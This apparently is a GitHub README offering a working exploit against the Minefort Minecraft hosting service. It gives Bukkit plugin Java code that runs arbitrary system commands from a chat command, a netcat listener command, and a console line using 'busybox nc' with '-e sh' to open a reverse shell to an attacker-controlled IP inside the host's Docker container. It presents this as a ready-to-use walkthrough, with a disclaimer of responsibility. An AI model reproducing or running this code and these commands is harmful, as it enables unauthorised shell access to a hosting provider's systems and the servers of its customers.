Skip to content

Latest commit

 

History

History
36 lines (32 loc) · 2.19 KB

README.md

File metadata and controls

36 lines (32 loc) · 2.19 KB

Exploits

We are not responsable for how you use the bugs!

Reverse Shell (Bullshit Shell)

Ever wanted to see some behind the scenes? Now you can! With this exploit you can get a minimal non-privileged shell in your Minefort Servers Docker container.

Requirements

  • Capability to run a NetCat server. This will require an open port or a cloud server.
  • A Minefort Server
  • Some Java and Bukkit Programming experience

Execution

First of all you need a Minefort Server. So go ahead and do that now before proceeding. Now you want to make a Java Project that is ready for Bukkit Plugin development. Once you have your project all setup, insert the following code snippet into the onEnable method of your plugins Main Class. However do not forget to register a command called bsh in your plugin.yml file.

getCommand("bsh").setExecutor((sender, command, label, args) -> {
    new Thread(() -> {
        try {
            Process p = Runtime.getRuntime().exec(String.join(" ", args));
            System.out.println("Process started!");
            while (p.isAlive()) {}
            System.out.println("Process ended!");
            } catch (Exception e) {
                e.printStackTrace();
            }
    }).start();
    return true;
});

This code allows you to start any process found on the system through a Minecraft command. The second phase of this exploit is the actual reverse shell. For this you need a way to make a publicly visible NetCat server. Once you got a way to do so, proceed by installing NetCat. After installing NetCat, open a command prompt/shell and enter the following command $ ncat -lvnp 9001. This will make NetCat listen on port 9001 for incoming connections. Next go to the panel of your Minefort Server and enter the following console command: bsh busybox nc xxx.xxx.xxx.xxx 9001 -e sh where xxx.xxx.xxx.xxx is the IP of your machine. With this you should have a simplistic Linux Shell. To confirm a successful setup you can type ls and hit enter. You should now see a listing of a bunch of Minecraft Server related files. And with that you are done. If it did not work then please repeat all mentioned steps. If it continues to not work, Minefort may have patched it.